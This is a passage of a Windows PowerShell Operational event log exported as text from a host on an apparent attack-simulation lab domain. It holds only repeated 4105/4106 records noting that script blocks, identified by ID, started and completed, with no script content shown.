ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028468
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028467
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028466
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028465
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028464
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028463
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028462
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028461
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028460
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028459
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028458
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028457
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028456
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028455
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028454
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028453
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028452
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028451
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028450
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028449
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028448
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028447
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028446
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028445
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028444
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028443
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028442
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028441
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028440
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028439
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028438
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028437
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028436
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028435
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028434
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028433
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028432
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028431
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028430
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028429
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028428
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028427
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028426
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028425
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028424
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028423
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028422
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028421
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028420
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028419
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028418
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028417
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028416
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028415
Keywords=None
